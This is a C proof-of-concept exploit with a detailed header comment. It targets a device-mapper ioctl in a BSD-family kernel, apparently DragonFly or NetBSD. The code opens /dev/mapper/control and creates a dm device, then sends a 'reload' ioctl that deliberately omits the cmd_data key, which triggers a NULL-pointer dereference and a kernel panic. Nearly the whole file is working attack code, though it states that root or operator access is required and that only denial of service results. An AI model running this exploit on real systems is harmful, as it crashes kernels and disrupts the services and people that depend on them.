DF-2448 / dm_nulldata_deref.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 | /* * DF-2448 PoC -- dm_table_load_ioctl NULL-deref via missing DM_IOCTL_CMD_DATA. * * Bug (sys/dev/disk/dm/dm_ioctl.c): * 673: dm_table_load_ioctl(prop_dictionary_t dm_dict) * ... * 707: cmd_array = prop_dictionary_get(dm_dict, DM_IOCTL_CMD_DATA); * 708: iter = prop_array_iterator(cmd_array); <-- NULL deref * * When the inbound dictionary OMITS the "cmd_data" key (or holds it as a * non-array), prop_dictionary_get() returns NULL (sys/libprop/prop_dictionary.c:933 * -- NULL when key absent). The result is passed unchecked to * prop_array_iterator() (sys/libprop/prop_array.c:538), whose very first * statement is * * _PROP_RWLOCK_RDLOCK(pa->pa_rwlock); // line 542 * * which under _KERNEL expands (sys/libprop/prop_object_impl.h:297) to * * mtx_lock(&(pa->pa_rwlock)); * * i.e. mtx_lock(&(((struct prop_array *)NULL)->pa_rwlock)) -- a NULL+offset * pointer dereference taken BEFORE the prop_object_is_array() guard inside * _prop_array_iterator_locked() (line 517) can run. Result: kernel panic * (kernel-mode access to address ~0x60). This happens before the * dm_dev_lookup at line 711, so no device needs to exist. * * Trigger: a NETBSD_DM_IOCTL with command="reload" (or any of the other * commands that route to dm_table_load_ioctl), a valid DM_IOCTL_VERSION array, * but with DM_IOCTL_CMD_DATA ("cmd_data") OMITTED from the dictionary. * * Privilege note: /dev/mapper/control is created 0640 root:operator * (sys/dev/disk/dm/device-mapper.c:181) and the dm module must be kldload-ed * by root. This PoC therefore must run as root (or an operator-group member) * -- the bug is a root->kernel DoS / hardening gap, NOT an unprivileged->root * escalation. NULL-deref has no write primitive, so no escalation chain is * possible (valid hard blocker -- see VERDICT.md). * * Build: cc -o dm_nulldata_deref dm_nulldata_deref.c -lprop * Run: ./dm_nulldata_deref (as root, after `kldload dm`) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <libprop/proplib.h> #include <dev/disk/dm/netbsd-dm.h> #define DM_CONTROL_DEV "/dev/mapper/control" #define DEV_NAME "df2448dev" static int send_ioctl(int fd, prop_dictionary_t dict) { return prop_dictionary_send_ioctl(dict, fd, NETBSD_DM_IOCTL); } static prop_dictionary_t new_dm_dict(const char *command) { prop_dictionary_t dict; prop_array_t ver; dict = prop_dictionary_create(); if (dict == NULL) { fprintf(stderr, "prop_dictionary_create failed\n"); exit(1); } /* dm_check_version requires major==4 and minor<=16 */ ver = prop_array_create(); prop_array_add_uint32(ver, 4); /* DM_VERSION_MAJOR */ prop_array_add_uint32(ver, 0); /* minor <= DM_VERSION_MINOR (16) */ prop_array_add_uint32(ver, 0); prop_dictionary_set(dict, DM_IOCTL_VERSION, ver); prop_object_release(ver); prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command); prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0); return dict; } int main(void) { prop_dictionary_t dict; int fd, rv; fd = open(DM_CONTROL_DEV, O_RDWR); if (fd < 0) { fprintf(stderr, "open %s: %s\n", DM_CONTROL_DEV, strerror(errno)); fprintf(stderr, "(is the dm module loaded? run: kldload dm)\n"); return 1; } /* * Step 1 (optional but realistic): create a dm device. The panic at * dm_ioctl.c:708 happens BEFORE the dm_dev_lookup at line 711, so a * device is not strictly required -- but creating one mirrors a * plausible attack scenario (legitimate device, malformed reload). */ dict = new_dm_dict("create"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); rv = send_ioctl(fd, dict); printf("[*] create '%s': rv=%d (%s)\n", DEV_NAME, rv, rv ? strerror(rv) : "ok"); prop_object_release(dict); if (rv != 0) { fprintf(stderr, "[!] create failed; continuing anyway " "(the NULL deref is upstream of the device lookup).\n"); } /* * Step 2 (the trigger): command="reload" routes through * dm_cmd_to_fun -> dm_table_load_ioctl. We OMIT the * DM_IOCTL_CMD_DATA ("cmd_data") key, so prop_dictionary_get at * dm_ioctl.c:707 returns NULL and prop_array_iterator(NULL) at line * 708 dereferences it. */ dict = new_dm_dict("reload"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); /* DM_IOCTL_CMD_DATA intentionally NOT set */ printf("[*] sending 'reload' ioctl WITHOUT 'cmd_data' key...\n"); printf("[*] expect: kernel panic -- NULL deref in prop_array_iterator\n"); fflush(stdout); rv = send_ioctl(fd, dict); /* If we reach here, the kernel did not panic on this run. */ printf("[!] reload ioctl returned rv=%d (%s) -- kernel survived?\n", rv, rv ? strerror(rv) : "ok"); prop_object_release(dict); close(fd); return 0; } |